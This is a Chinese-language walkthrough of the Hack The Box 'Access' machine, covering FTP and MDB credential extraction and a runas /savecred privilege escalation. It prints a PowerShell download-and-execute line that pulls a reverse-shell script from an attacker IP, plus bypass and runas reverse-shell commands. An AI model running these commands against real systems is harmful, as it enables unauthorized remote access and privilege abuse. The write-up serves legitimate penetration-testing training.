Access-Writeup

概述 (Overview)

146365.png

  • MACHINE TAGS
    • Windows
    • Password Reuse
    • Powershell

攻击链 (Kiillchain)

50258162.png

TTPs (Tactics, Techniques & Procedures)

  • nmap
  • ftp
  • mdbtools
  • pst-utils
  • telnet
  • Invoke-PowerShellTcp
  • runas

阶段1:枚举

开始还是用Nmap去扫一下开放端口,查看端口运行的服务是什么:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst: 
|_  SYST: Windows_NT
23/tcp open  telnet?
| telnet-ntlm-info: 
|   Target_Name: ACCESS
|   NetBIOS_Domain_Name: ACCESS
|   NetBIOS_Computer_Name: ACCESS
|   DNS_Domain_Name: ACCESS
|   DNS_Computer_Name: ACCESS
|_  Product_Version: 6.1.7600
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

浏览器访问目标ip,仅显示一张图片…

82546729.png

转而尝试21端口运行的FTP,尝试匿名访问发现登录成功:

65211323.png

阶段2:工具及利用

阶段2.1:FTP匿名登录下载

Backups 文件夹中发现了一个 backup.mdb 的文件,但下载到本地后用 mdb-tables 无法访问,格式被破坏:

kali@kali # file backup.mdb
backup.mdb: Microsoft Access Database

66685929.png

我一开始以为是网络问题导致下载内容不完整,看了看我这到HTB的网络延迟,均在 80ms 以内且没有丢包,排除网络问题(我这找朋友帮忙搞的一根企业专线,xx中心机房直达HTB所以延迟才会这么低。我实验过aliyun的sg服务器,部好后也是可以达到80ms已内的,所以网络的问题可以自己部一个去解决,这里不做过多探讨)。

66908369.png

随后翻翻HTB关于这个靶机的讨论,注意到 ASHacker 回复说 ftp 存在传输模式的选择。

67973968.png

所以,在 linux 中 FTP 的存在两种传输模式:

关于linux中FTP的两种传输模式及常用的命令

  • ASCII:以文本序列传输数据
  • BINARY:以二进制序列传输数据

ASCII 模式和BINARY模式的区别是回车换行的处理,binary模式不对数据进行任何处理,asci模式将回车换行转换为本机的回车字符,比如Unix下是\n,Windows下是\r\n,Mac下是\r

所以,在跟换了模式之后下载到的 backup.mdb 通过工具能正常读取了:

67912939.png

总共在目标服务器FTP中下载内容:

<DIR> Backups
    - backup.mdb
<DIR> Engineer
    - Access Control.zip

阶段2.2:MDB库内容导出

mdbtools 工具在 kali 新版本里默认是没有的,可以单独下载:apt-get install mdbtools or https://github.com/mdbtools/mdbtools

对了,MAC系统的话可以用 ACCDB MDB Explorer,主要颜值不错。

获取 MDB 数据库中的表列表

$ mdb-tables backup.mdb
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx

将 MDB 数据库中auth_user表内容导出

$ mdb-export backup.mdb auth_user > auth_user.txt

$ cat auth_user.txt 
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

$ 7z x Access\ Control.zip 输入密码 access4u@security 后得到 'Access Control.pst' 文件

阶段2.3:处理 Microsoft Outlook email folder

查看文件类型,是 Outlook 的东西:

$ file Access\ Control.pst 
Access Control.pst: Microsoft Outlook email folder (>=2003)

接着找能读取的工具:

72088277.png

直接安装该工具:apt-get install pst-utils

然后我又发现了一个有意思的网站 : https://command-not-found.com/,它能根据你输入的内容识别出该工具的安装命令,以后如果遇到需要安装的工具可以试试通过这个站去找。

比如我搜 ag,它就在正确的帮我找到了 silversearcher-ag(一个比grep更快的搜索)

38533928.png

回到正题,通过该工具得到一个新的 Access\ Control.mbox 文件:

72381446.png
查看文件内容,里面是邮件发送的正文:
72426841.png

到的一组新的口令:security:4Cc3ssC0ntr0ller

73161400.png

通过 telnet 成功登录,并到的 user flag

阶段3:权限提升

通过 impacket-smbserver 将 NC 传至目标服务器,但上线动作被组策略阻止了。

73952587.png

尝试利用 Invoke-PowerShellTcp 进行上线,记得修改好对应的反弹监听IP和端口。

重命名一下:kali@kali $ mv Invoke-PowerShellTcp.ps1 p.ps1

利用 powershell 下载后上线:

cmd > powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.6/p.ps1')"

cmd > powershell -executionpolicy bypass -file p.ps1cmd > powershell -nop -exec bypass -file p.ps1

74719116.png

查看下组和权限,可以看到权限还是挺少的就是已普通用户:

82616099.png

Mandatory Label\Medium Mandatory Level 说明是一个普通用户,尝试后发现 WMIC.exe 被禁用。

执行:powershell -exec bypass -Command "&{ Import-Module .\PowerUp.ps1; Invoke-AllChecks }" 发现没有可利用的风险项。

查计划任务:schtasks /query /fo LIST /v, 无果。

查目录隐藏文件:dir /adh or dir -Force, 没有新发现。

84561073.png

最后翻到 C:\Users\Public\Desktop 存在一个桌面快捷键(C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk):

84651267.png
84746205.png

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ 中也能找到应用的快捷方案:

85551782.png

逐一分析内容,参考 Windows 下使用 runas 命令以指定的权限启动一个进程(非管理员、管理员)

runas 命令: runas 是 Windows 系统上自带的一个命令,通过此命令可以以指定权限级别间接启动我们的程序,而不止是继承父进程的权限。用到的其实是凭证。

汗,早知道上个 winPEAS.exe 到目标服务器上去收集下信息,就不会浪费这么多时间了。

执行脚本反弹管理员shell: cmd >runas /user:ACCESS\Administrator /savecred "powershell -nop -exec bypass -file C:\Users\security\Downloads\p.ps1"

86290140.png

OK,成功。
28840.png

参考